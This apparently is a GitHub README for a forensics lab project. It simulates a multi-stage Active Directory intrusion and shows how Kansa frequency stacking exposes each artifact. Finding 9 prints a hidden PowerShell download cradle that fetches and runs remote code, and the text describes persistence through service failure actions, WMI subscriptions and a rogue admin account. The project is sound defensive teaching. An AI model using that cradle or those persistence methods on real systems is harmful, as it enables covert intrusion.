AboShafra/Operation-Blind-Spot
GitHub: AboShafra/Operation-Blind-Spot
基于 Kansa IR 框架与频次堆叠分析的 Active Directory 多阶段入侵模拟与取证调查实战项目。
Stars: 1 | Forks: 0
# 运营盲区
### 使用 Kansa IR 框架与频次分析的多阶段入侵检测
## 背景
攻击者窃取了域凭据并在一台 Windows 工作站上建立了立足点。随后是一系列有条不紊的入侵:横向移动到第二台机器,设置隐蔽程度不断提升的四层持久化机制,创建恶意的管理员后门,以及为潜在的数据外泄建立暂存共享。
所有这些都没有触发任何警报。
本次调查展示了 **Kansa** —— 一个基于 PowerShell 远程操作的 IR 框架 —— 如何在整个环境中收集取证痕迹,以及如何通过 **最低出现频率堆叠** 技术,从 200 多个服务、150 多个计划任务和数千个运行进程的噪声中,揪出每一个单一的植入物。
## 环境
| 角色 | 主机名 | IP |
|---|---|---|
| 域控制器 | DC01 | 192.168.7.132 |
| 主要受害者 | PC01 (WS01) | 192.168.7.138 |
| 横向移动目标 | PC02 (WS02) | 192.168.8.100 |
| 攻击者 | Kali Linux | 192.168.7.250 |
**域:** MYDFIR.local
**收集工具:** Dave Hull 开发的 [Kansa](https://github.com/davehull/Kansa)
**分析工具:** Timeline Explorer
**Payload 生成:** Metasploit / msfvenom
**横向移动:** Impacket PsExec
## ATT&CK 覆盖范围
| 技术 | ID | 阶段 |
|---|---|---|
| 有效账户 | T1078 | 初始访问 |
| PowerShell | T1059.001 | 执行 |
| SMB / Windows 管理共享 | T1021.002 | 横向移动 |
| Windows 远程管理 | T1021.006 | 横向移动 |
| 注册表 Run 键 | T1547.001 | 持久化 |
| 计划任务 | T1053.005 | 持久化 |
| Windows 服务 (失败操作) | T1543.003 | 持久化 |
| **WMI 事件订阅** | **T1546.003** | **持久化** |
| 创建本地账户 | T1136.001 | 持久化 |
| 账户发现 | T1087.001 | 发现 |
| 网络连接发现 | T1049 | 发现 |
| 进程发现 | T1057 | 发现 |
| 入口工具传输 | T1105 | C2 |
| 外发至代码仓库 | T1567.001 | 外发 (已暂存) |
## 攻击阶段
| 阶段 | 描述 | 生成的痕迹 |
|---|---|---|
| 1 | 通过 CrackMapExec 重用凭据 | 域登录事件 |
| 2 | Impacket PsExec 在 PC01 上建立立足点 | `C:\Windows\` 中的随机 8 字符 exe,随机 4 字符服务 |
| 3 | 侦察:`whoami`, `net user`, `netstat` | 侦察二进制文件的预读取条目 |
| 4 | 通过 IWR 下载 Meterpreter payload | DNS 缓存 (githubusercontent),C2 TCP 连接 |
| 5 | 通过 PsExec 横向移动到 PC02 | SMB 会话痕迹,PC02 上的第二个随机 exe |
| 6 | 持久化:注册表 Run 键 (Base64 编码的 PowerShell) | ASEP 自动运行条目,启动字符串 |
| 7 | 持久化:计划任务 `\HealthCheck` | 计划任务痕迹 |
| 8 | 持久化:Spooler 服务失败操作被修改 | ServiceFail 痕迹 — 二进制文件正常,恢复操作恶意 |
| 9 | 持久化:WMI 事件订阅 | WMI Event Consumer 痕迹 — 无文件,重启后依然存活 |
| 10 | 后门:创建 `helpdesk` 本地管理员 | 本地管理员堆叠异常 |
| 11 | 暂存:`C:\Users\Public\Music\Staging` 中的恶意 SMB 共享 | SMB 共享痕迹 |
## 调查结果
### 1 — DNS 缓存堆叠
**工具:** `Get-DNSCacheStack.ps1`
**发现:** `gist.githubusercontent.com` 和 `raw.githubusercontent.com` 仅在 PC01 上完成解析。环境中的其他任何机器都没有查询过 GitHub 基础设施。CloudFront CDN 条目也仅出现在 PC01 上。

**重要性:** DNS 缓存是接触 C2 基础设施的最早指标。公司工作站上出现 GitHub Gist/Raw URL 会立刻引起怀疑 — 大多数员工在工作时间没有正当理由去解析原始内容分发端点。这也直接证实了后来发现的 服务失败操作 和 WMI Consumer 持久化机制,这两者都引用了这些相同的 GitHub URL。
### 2 — 进程路径堆叠
**工具:** `Get-ProcessWMIPathStack.ps1`
**过滤器:** 路径包含 `C:\Windows\` 且不包含 `System32`
**发现:** 多个随机的 8 字符可执行文件从 `C:\Windows\` 根目录执行 — 在一个干净的环境中,这个路径几乎不应该包含任何可执行文件。

**重要性:** `C:\Windows\` (非 `System32`) 是一个不寻常的执行路径。Impacket PsExec 会在每次调用时在此放置一个随机命名的二进制文件并将其注册为服务 — 这种随机命名是企图逃避签名检测的蓄意行为。多个条目反映了实验期间反复进行的横向移动尝试。VirusTotal 确认这些是 Remcom/Metasploit 变种。
### 3 — 网络连接堆叠
**工具:** 自定义 Netstat 堆叠查询
**发现:** `svchost32.exe` 与 `192.168.7.250:443` (攻击者的 Kali 机器) 保持着两个 ESTABLISHED 状态的 TCP 连接。ct=1 — 环境中没有其他进程与此 IP 通信。

**重要性:** 攻击者故意选择 443 端口以混入 HTTPS 流量中。此处的 进程到 IP 的关联直接将调查 2 中的可疑二进制文件与活跃的 C2 通信联系起来 — 这是将痕迹与基础设施连接起来的关键枢纽。
### 4 — SMB 会话堆叠
**工具:** `Get-LogparserStack.ps1` (通用)
**发现:** `192.168.7.138` (PC01) 以 `MYDFIR\Administrator` 身份向 PC02 发起了一个入站 SMB 会话。

**重要性:** 这一行数据精确地描绘了横向移动路径 — PC01 → PC02,域管理员账户,一个会话。结合调查 2 (PC02 也有一个随机命名的可执行文件) 进行交叉比对,这证实了攻击者通过 SMB/PsExec 利用被盗的域凭据进行了横向移动。
### 5 — SMB 共享堆叠
**工具:** `Get-LogparserStack.ps1` (通用)
**发现:** `C$`, `IPC$`, `ADMIN$` 存在于所有 3 台机器上 (CNT=3,符合预期)。指向 `C:\Users\Public\Music\Staging` 的 `Share$` 仅存在于 PC01 上 (CNT=1)。

**重要性:** `C:\Users\Public\Music` 默认是全局可写的 — 不需要提升的权限即可对其进行写入操作,使其成为一个极具吸引力的暂存位置。此路径下的自定义 SMB 共享表明,攻击者打算促进跨机器的文件访问或数据外发暂存。这种公共位置也使得在人工审查时更难被发现。
### 6 — 本地管理员堆叠
**工具:** `Get-LocalAdminStack.ps1`
**发现:** `Administrator` 和 `MYDFIR\Domain Admins` 出现在所有 3 台机器上 (ct=3,基准线)。`helpdesk` 仅出现在 PC01 上 (ct=1)。

**重要性:** `helpdesk` 账户名是精心挑选的,听起来像一个合法的 IT 支持账户 — 这是一个典型的 **模糊标识符**,旨在避免在人工审查时引起直接怀疑。堆叠方法使其无处遁形:任何偏离环境基准的项目都会浮出水面,无论其名称听起来多么合法。
### 7 — 计划任务堆叠
**工具:** 自定义 `Get-SchedTasksAllStack.ps1`
**发现:** `\HealthCheck` 任务由 `MYDFIR\PC01$` 创建,运行 `C:\Windows\svchost32.exe`。Quantity=1 — 没有其他机器有此任务。

**重要性:** `HealthCheck` 是另一个模糊的名称 — 听起来像是一个合法的系统维护任务。`Task To Run` 列暴露了它:`C:\Windows\svchost32.exe` 正是调查 2 中识别出的同一个 Meterpreter payload。这确保了后门能够在系统重启后存活,通过在系统启动时重新执行 payload。
### 8 — 服务失败操作堆叠
**工具:** `Get-SvcFailStack.ps1`
**发现:** 整个环境中共有 192 个服务。191 个未配置失败操作。`Spooler` — 即 Print Spooler 服务 — 仅在 PC01 上将恶意的 PowerShell IEX+IWR 下载 cradle 作为其失败恢复操作。

**重要性:** 这是本场景中最复杂的持久化机制。Spooler 服务的二进制文件是完全干净的 — 路径正确 (`C:\Windows\System32\spoolsv.exe`),具有有效的 Microsoft 签名,哈希值也匹配。针对服务的标准 IR 检查 (名称、路径、哈希) 显示没有任何异常。只有 `sc qfailure` 或 Kansa 的 `GetSvcFail` 模块才能揭示被篡改的恢复操作。大多数分析师在进行标准扫描时从不查询失败操作。IEX+IWR 命令从 `gist.githubusercontent.com` 拉取 — 直接证实了调查 1 中的 DNS 缓存发现。
### 9 — WMI Event Consumer 堆叠
**工具:** 带有 `-Divorce` 标志的 `Get-LogparserStack.ps1`
**发现:** `SCM Event Log Consumer` 存在于所有机器上 (预期的基准线)。`WMI Background SVC` 仅存在于 PC01 上,其 `CommandLineTemplate` 是一个 PowerShell 下载 cradle。

**重要性:** WMI 事件订阅是本次调查中最隐蔽的持久化机制。它们完全存在于 WMI 存储库中 — 磁盘上没有二进制文件,没有注册表 Run 键,没有计划任务条目。它们能在重启后悄无声息地存活下来。大多数扫描工具和标准 IR 手册从不检查 `root\subscription`。在 Windows 企业环境中,正常的 WMI Consumer 是高度可预测的 — 一旦出现非标准的 Consumer,它在频次堆叠中将无处遁形。命令模板:`powershell.exe -WindowStyle Hidden -NonInteractive -ep bypass -c "IEX(IWR 'https://gist.githubusercontent.com/AboShafra/...' -UseBasicParsing).Content"` — 与调查 1 和 8 使用的是相同的 GitHub 基础设施。
### 10 — Prefetch 列表堆叠
**工具:** 经过修改并带有 `EXTRACTTOKEN` 以去除哈希后缀的 `Get-PrefetchListingStack.ps1`
**发现:** `SVCHOST32.EXE`, `WHOAMI.EXE` 和 `NET.EXE` 的 CT=1 — 仅在一台机器上执行过。

**重要性:** 公司工作站上出现 `WHOAMI.EXE` 几乎是攻击者侦察的普遍指纹。没有哪个普通员工会从命令行运行 `whoami`。与其一同出现的 `NET.EXE` 证实了进行了账户枚举 (`net user`, `net localgroup administrators`)。Prefetch 中的 `SVCHOST32.EXE` 证实了 payload 已执行 — 即使该二进制文件后来被删除,Prefetch 文件仍作为执行证据保留最多 128 个条目。
### 11 — Autorunsc 堆叠 (未签名条目)
**工具:** 经过修改的 `Get-ASEPImagePathLaunchStringUnsignedStack.ps1`
**发现:** 所有 ct=1 的未签名 ASEP 条目都浮现出了攻击痕迹:`svchost32.exe`,`C:\Windows\` 中的多个随机 PsExec 二进制文件,全部都没有有效的代码签名。

**重要性:** Autoruns 提供了最广泛的持久化扫描 — 注册表键、服务、计划任务、Shell 扩展、浏览器辅助对象、WinLogon 条目等等,全部在一次收集中完成。过滤为未签名条目会立即从视图中剔除合法的微软签名软件,只留下攻击者未签名的植入物。这些多个随机命名的可执行文件是重复调用 Impacket PsExec 的有据可查的指纹 — 每次运行都会生成一个新的、具有唯一名称的二进制文件,这是一个通过堆叠就能轻易揭示的行为签名。
## 关键要点
**关于堆叠:** 恶意痕迹在设计上就是罕见的。攻击者会部署到所需的最少数量的系统上 — 而不是整个环境。频次分析利用了这一点:统计每个主机上的每个痕迹,按升序排序,异常情况就会浮出水面,无论它们的名字听起来多么合法。
**关于持久化深度:** 四个重叠的持久化机制并不是偏执 — 这是操作安全。每一层都使用不同的检测路径。一个分析师如果检查了服务却没有检查失败操作,或者检查了计划任务却没有检查 WMI 订阅,就会错失部分情况。全面的收集是实现全面检测的前提。
**关于服务失败操作:** 这是最有可能在标准 IR 扫描中存活下来的技术。二进制路径正确。哈希有效。签名已验证。被篡改的字段 — 失败恢复操作 — 不包含在任何默认的痕迹收集模板中。Kansa 的 `GetSvcFail` 模块的存在,正是因为有人曾因为漏掉了这一点而吃过亏。
**关于收集时机:** `gist.githubusercontent.com` 的 DNS 缓存条目在攻击执行和初次 Kansa 收集之间已经过期 — 需要进行第二次有针对性的收集运行。易失性痕迹 (DNS 缓存、活动网络连接、SMB 会话) 必须优先并立即收集。易失性顺序不是一个理论概念;在这个实验环境中,它耗费了整整一个调查类别的数据。
**关于工具与分析:** Kansa 在 3 台机器上收集了 11 个痕迹类别,并将所有内容整理为按主机、按模块划分的 CSV 文件。它没有识别出任何发现。本次调查中的每一项发现都需要人类分析师去提问:“这里有什么是罕见的,为什么?” 工具呈现数据。分析师发掘意义。
## 工具与参考
| 工具 | 用途 | 链接 |
|---|---|---|
| Kansa | 基于 PowerShell 的 IR 收集框架 | [GitHub](https://github.com/davehull/Kansa) |
| Timeline Explorer | CSV 分析与数据透视 | [EricZimmerman.github.io](https://ericzimmerman.github.io) |
| LogParser 2.2 | 基于 SQL 的文本文件查询 | [Microsoft 下载](https://www.microsoft.com/en-us/download/details.aspx?id=24659) |
| Metasploit Framework | Payload 生成与 C2 | [Rapid7](https://www.metasploit.com) |
| Impacket | PsExec 横向移动模拟 | [GitHub](https://github.com/fortra/impacket) |
| MITRE ATT&CK | 技术映射 | [attack.mitre.org](https://attack.mitre.org) |
## 作者
**AboShafra**
网络安全学生 — 萨那大学排名第一
技术维护与配置工程师,SawtAlhayat 听力中心
正在准备 BTL1 认证
[LinkedIn](www.linkedin.com/in/ibrahim-abdulsalam-alshami) | [GitHub](https://github.com/AboShafra)
*此实验是在一个隔离的虚拟环境中进行的。记录的所有技术仅供防御和教育目的使用。*
标签:Active Directory, AI合规, IPv6, Mr. Robot, OpenCanary, Plaso, PowerShell, 库, 应急响应, 数字取证, 自动化脚本